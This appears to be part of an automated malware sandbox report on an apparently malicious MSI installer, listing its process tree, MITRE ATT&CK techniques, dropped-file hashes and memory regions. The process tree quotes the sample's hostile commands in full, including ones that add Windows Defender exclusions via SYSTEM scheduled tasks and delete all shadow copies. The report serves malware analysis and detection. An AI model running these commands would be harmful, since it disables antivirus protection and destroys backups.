    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5292
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5288
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2080
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5604
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1528
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4104
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1636
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3336
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3756
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2164
- C:\Program Files (x86)\uD6k4s\brahTk.exe
  "C:\Program Files (x86)\uD6k4s\brahTk.exe"
  2⤵
  PID:5032
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3352
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5860
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:5616
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:912
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1508
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4056
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4528
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:864
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:3492
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\brahTk.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5584
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\brahTk.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:3304
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\brahTk.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2996
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\brahTk.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:1384
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\brahTk.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5840
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\brahTk.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:1748
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3772
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      PID:3244
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3144
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:1036
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4292
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:2368
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5128
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4208
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4996
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4064
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3764
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:1960
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4180
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4712
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4076
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5796
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uD6k4s\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5988
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uD6k4s\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:4780

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nRAxqR" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4776
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nRAxqR" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4100

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3260

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3600
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:6072

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4780

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4336
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3020

C:\Program Files (x86)\uD6k4s\brahTk.exe
"C:\Program Files (x86)\uD6k4s\brahTk.exe"
1⤵
PID:2008

C:\Program Files (x86)\TH3b2NR\kwJHboP.exe
"C:\Program Files (x86)\TH3b2NR\kwJHboP.exe"
1⤵
PID:2788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

e59c8f4.rbs

Path C:\Config.Msi\e59c8f4.rbs
Size 7KB
SHA256 2b0b273fee97fca10a11bcffdf3e869410d57179a143e88bc033f463aab263de
MD5 fca1a888532f0c17adc7462b8bbc6ee3
SHA1 94c0759d7a92041d09feb7d5b3d3dc47cb22f602
SHA512 3aa1492d78f8969dc44695a819008a503bcfe1c6007535dc37e4baea4a442c25347434801b22ad14c05b19093892af84a4f072e0f91a43d0194211e80bf448c1
SSDEEP 96:OChgu0CvxSUUwnHD1CsThqFUwnHD1C6je1Hp/ThqlHm25yeWl0leCKpljeFbAjBz:OCaCcz4HDIIz4HDIxjalrKpIK
TLSH
T149F1114666044BF3F8E56B36CB0B176637E2D2E5929433DB1CCD81241FC37982E6968E
MD5 SHA1 SHA512 SSDEEP TLSH

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XPSPLOG.dll

Path C:\Program Files (x86)\TH3b2NR\XPSPLOG.dll
Size 4.6MB
SHA256 59840c96cf255b01e6fbf2318a125afdad2a6e27658033e9eea2437f0bcf4199
MD5 484142449c9da77f2bce3a90960756a4
SHA1 2b789477b41c0344e44c2abdc96779d182c2dfaf
SHA512 5ca246356532e59bb24b4b21929e54354a739c0132c4cbad98c9bb3b8fc1aad3ddd266c01e2e491f7c95dd5db95ac708213b6ad0d394974609a5f7dba3f3003c
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyn:BMWKfU+BcUTHCCCfqCiUffnn
TLSH
T152263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

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image.png

Path C:\Program Files (x86)\TH3b2NR\image.png
Size 4.9MB
SHA256 8ac6f5ff33e39a56f4921c65351dd91edb2a4bbdc6bd577398c2da5e3607f893
MD5 9548b04175535c4d69c2b1ec428b1053
SHA1 6a8619fb2995607d01709a166354ac66efabb662
SHA512 5ae299af465183ef47530b18b88e66ffac3dcb924107665983cc20c67d8485c0565a38f090c17ed39b9e417f601fc374343cfb746743ebb403c05b47afdb07c7
SSDEEP 98304:IXjR0PaemmeGXdG2BHmP46ziMd4hlx00SvotfTjZ7MWwFp+0MW+:IXjRUDXdvHuTBdIlUOT9z0n+
TLSH
T1D636337D3D2DA53F9AA3CA9079CAFD2A57B6CB4A971B0D6ACB75F403354120402C7D12
MD5 SHA1 SHA512 SSDEEP TLSH

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XPSPLOG.dll

Path C:\Program Files (x86)\uD6k4s\XPSPLOG.dll
Size 4.6MB
SHA256 5832e91e9fca83777f6812dbf3ecc9a21e40f66794e85cede81f1c07bb1b41d5
MD5 b7e14cc42f6eea32c0cf5df714dbb2b2
SHA1 16e241dd09f1c6c93eed83cb69928ace2bb47484
SHA512 8a30af7cc058f0241fe4f31fbca4764794bec81cbce0b47dda321ea845dc35230f4ee6142d1dcec1fea75a6cbf5e3bd2d667493ded15bd8eadd6ad67ffe24839
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy7:BMWKfU+BcUTHCCCfqCiUffn7
TLSH
T167263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

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brahTk.exe

Path C:\Program Files (x86)\uD6k4s\brahTk.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

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image.png

Path C:\Program Files (x86)\uD6k4s\image.png
Size 4.9MB
SHA256 505238284796931d537483abe61c07c86f7d9e5f002ea48632bb744a87462537
MD5 23a5aa091f18e77aceb885c45f03b63b
SHA1 a4e0bafdde49acdc5daa63245d20a9fdd2685c7a
SHA512 82bcabf54b97c482a641aaf82196e5d6933087c8cfd0d1df9f1cda0d52ac503d181cec43c8609e50caf935f93adce3fdd9fa31cf0a237d40c132bff7ab13a4df
SSDEEP 98304:DXjR0PaemmeGXdG2BHmP46ziMd4hlx00SvotfTjZ7MWwFp+0MW+:DXjRUDXdvHuTBdIlUOT9z0n+
TLSH
T11236337D3D2DA53F9AA3CA9079CAFD2A57B6CB4A971B0D6ACB75F403354120402C7D12
MD5 SHA1 SHA512 SSDEEP TLSH

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thumbs.db

Path C:\Program Files (x86)\uD6k4s\thumbs.db
Size 358KB
SHA256 ac5b106478679e50b6b25973f0205b3e948e9365f7094605fa3711a1290da3c9
MD5 5d51aa76ef15da1c42844881f2d5dbd5
SHA1 37ece671523701d829d77fa8446bc129f3d5764c
SHA512 1504a125e3e6447146a9cc10baa182a86235559876d3ae37fef72871287cfe465dcb7e9bc6187755ff754acb781dcba6ae9001f2cabb477de23986393f366653
SSDEEP 6144:uiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:h8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T19B74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

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destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

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UxEnhance64.dll

Path C:\Users\Public\nRAxqR\UxEnhance64.dll
Size 3.1MB
SHA256 9981f97aa0d1745e3cf0174d8a3113aabbc463ed0c1c485e529e17bfaa6d1335
MD5 62e546b5a38ffffad53156581f5e47bf
SHA1 19da047eac3bdf6425ad075f756ba25f0043fc45
SHA512 71863924bd6a4c1fd59eaf9f653ef1077f7bc699bb232edd4c7a6ee99004d71e758d537d572815cef39cee05366b71f7fc386a8b583cdf3e63ee942aa706d8c1
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+D:P9m29xx3Tiqt06ox6+z2rNNrKoD
TLSH
T19AE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

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VR2ERD.exe

Path C:\Users\Public\nRAxqR\VR2ERD.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

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adoresd.dat

Path C:\Users\Public\nRAxqR\adoresd.dat
Size 4.8MB
SHA256 a98529417571625b9f4bbca59ae72ddde58a4ca8c92abf9c54955300b01736a7
MD5 5cc3f1dc5a6e06090103ee23217bf7b6
SHA1 b81f281697b504211e7928458a50b783457ae96c
SHA512 830147f647769da3f8ae19dfa5aae5da725d89aab782e2a6d57b56a369d3fe37a2730ac17064216b3ca745250522b34030667ec0715bf0b2ced505b9beec7de4
SSDEEP 98304:GuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:LQDPnORb7AdPEm7Y7ltlVgxs
TLSH
T136363339536D9C62DDC7A0F8A49E4596FF683D60FAE2A006B47C1D213015DFB986FE08
MD5 SHA1 SHA512 SSDEEP TLSH

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msadox.tb

Path C:\Users\Public\nRAxqR\msadox.tb
Size 8KB
SHA256 9837f2ca73f3ef987161a1f2cda5b02f55e828088778402cac602aa425f325f7
MD5 8d9a158329de0de75f06c6a3086e77ae
SHA1 2e3194139d95906c1b6c731fa9827bc1cb8157b3
SHA512 0445f80ebe54da5cb025249a970cdc1eb0bea9bb43eca6efe50d79361b66cbc2cc3cd34ff53234b0e900719f628aa1bfa32ecd32e434fde2781796c7dd6ed7d1
SSDEEP 192:dqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:dsZqZOXQ3uqvR2Kfzp
TLSH
T13B029E06D7A20CC3D6016C71CD9EB2F5AB13A1DADA3926719C67D4C1670B2DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

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MSID067.tmp

Path C:\Windows\Installer\MSID067.tmp
Size 7.4MB
SHA256 e246f2b495c8455d02afb9b05b8a681188e710cb879eb64436f412725012f260
MD5 4f0468afe6736bd82a1c4919ed322e60
SHA1 977dfc7be5c25ab5e9e7ad1ee3856596e2c10be2
SHA512 a2be6b26243c1012f64017ce44e30b1f5aff0ce707d7b24478495818d8ebb03d3b4c73f3e8f457343d1432e54de7fa706836a661b6f329f3ffd20c2331d1ed4f
SSDEEP 196608:KJDpXvRhLBR/nDU6WVC2pFbP8B0FgYLiKC:yDp/RNBJnh/2pdP00iYuKC
TLSH
T1917633C5B8CA3BB5D067CBB8A591316EBC197FE5F9724C4977D966089CA272B3334200
MD5 SHA1 SHA512 SSDEEP TLSH

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e59c8f3.msi

Path C:\Windows\Installer\e59c8f3.msi
Size 7.5MB
SHA256 a28f7d9c69689e1679cb72aff40c6b196012e59b6298e62716b790ad7930803c
MD5 53fb2fd1632e6e2821b0533d56618add
SHA1 d07cf27c6cefacf155a0523a5285b1f660899b60
SHA512 672d42069367715dff47a9c426801d3a4e708e1002425ee57391b106101781704e268146b01ca2cb69a97603ba6bea976ca5043455617a6c02c4aa3c6ca86a83
SSDEEP 196608:8JDpXvRhLBR/nDU6WVC2zFbP8B0FgYLiKJ:cDp/RNBJnh/2zdP00iYuKJ
TLSH
T1DD8633C5BCCA3BB5D053CBB4A59272AEBC187FE4BA728C4673D972085C727262375244
MD5 SHA1 SHA512 SSDEEP TLSH

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metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 2dd778be4cee1533df6e8f5b9f44801ca3a28273654d5577a850e897a95c857f
MD5 42e0c6e88bbbca806cd6965d155a92cf
SHA1 a8c1bd711a5d9fade3d4d42f48dfbdeba6a5e765
SHA512 afc773145c50abedc17cbc653f4cfd32979b1d794ab3ef30d301a2cacab1f96168efaffb0709719812a27f9bfc1809db842ef0a7ee9421d6d44362d6822877c9
SSDEEP 24576:hFo3DMPjdoO/vvTL/yAsMilQPrOWX7rf0R6e9BCE65iqpLNMMoR2s12NoeG:XH4
TLSH
T1E557B51436F92100E7F79E3CA8F06A234D397D5BAC19DE8D45511B8E0922F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

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{5212de33-3df2-4f60-aa8c-52b4fb927156}_OnDiskSnapshotProp

Path \??\Volume{c61fbfff-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{5212de33-3df2-4f60-aa8c-52b4fb927156}_OnDiskSnapshotProp
Size 6KB
SHA256 5362784295fe47ed67ac49fda027d96f362e30e19fe2bacace621cb2fd15ea9d
MD5 7884269555b19d10b547803fc36d5334
SHA1 df8f2b90f911d257aded4353bbd1e7602084bb77
SHA512 1fae1e5a7fef77f4d13bca8b6709639ca1719de661def2fd29de6659d220b37457c68d4003a931104193ae30ee6c5e00b785464c220ed8ad223f58eccd65e6a8
SSDEEP 96:FcWXW5m7lDvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:iW+il/b++uVm
TLSH
T1B0D188084AE54711E2F3AB3229F18557A837B911FF33CB8E0198238E6631911F975F6B
MD5 SHA1 SHA512 SSDEEP TLSH

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xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

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memory/2008-245-0x0000000074A80000-0x00000000751CA000-memory.dmp

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memory/2008-244-0x0000000001040000-0x0000000001041000-memory.dmp

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memory/2788-255-0x0000000002E70000-0x0000000003659000-memory.dmp

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memory/2788-250-0x0000000002290000-0x0000000002291000-memory.dmp

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memory/2788-257-0x00000000023C0000-0x00000000023C1000-memory.dmp

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memory/2788-251-0x00000000736A0000-0x0000000073DEA000-memory.dmp

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memory/2796-78-0x000001CFB2780000-0x000001CFB303E000-memory.dmp

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memory/2796-89-0x000001CFB30D0000-0x000001CFB315A000-memory.dmp

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memory/2796-91-0x000001CFB2780000-0x000001CFB303E000-memory.dmp

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memory/2796-94-0x000001CFB2780000-0x000001CFB303E000-memory.dmp

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memory/2796-93-0x000001CFB2780000-0x000001CFB303E000-memory.dmp

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memory/2796-87-0x000001CFB30D0000-0x000001CFB315A000-memory.dmp

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memory/2796-59-0x00007FFDCCD10000-0x00007FFDCD22E000-memory.dmp

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memory/2796-58-0x00007FFDF0790000-0x00007FFDF0792000-memory.dmp

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memory/2796-88-0x000001CFB30D0000-0x000001CFB315A000-memory.dmp

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memory/2796-86-0x000001CFB30D0000-0x000001CFB315A000-memory.dmp

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memory/2796-84-0x000001CFB1CE0000-0x000001CFB1D2E000-memory.dmp

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memory/2796-64-0x000001CFB2780000-0x000001CFB303E000-memory.dmp

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memory/2796-74-0x000001CFB2780000-0x000001CFB303E000-memory.dmp

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memory/2796-73-0x000001CFB2780000-0x000001CFB303E000-memory.dmp

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memory/2796-72-0x000001CFB2780000-0x000001CFB303E000-memory.dmp

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memory/2796-71-0x000001CFB2780000-0x000001CFB303E000-memory.dmp

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memory/2796-67-0x000001CFB2780000-0x000001CFB303E000-memory.dmp

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memory/2796-66-0x00007FFDF07A0000-0x00007FFDF07A2000-memory.dmp

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memory/4304-115-0x000001849AF20000-0x000001849AFD2000-memory.dmp

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memory/4304-117-0x000001849AC60000-0x000001849AC6A000-memory.dmp

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memory/4304-109-0x000001849AC10000-0x000001849AC32000-memory.dmp

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memory/4304-114-0x000001849AC70000-0x000001849AC8E000-memory.dmp

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memory/5032-230-0x0000000003A70000-0x0000000004259000-memory.dmp

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memory/5032-185-0x0000000001660000-0x0000000001661000-memory.dmp

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memory/5032-193-0x0000000003A70000-0x0000000004259000-memory.dmp

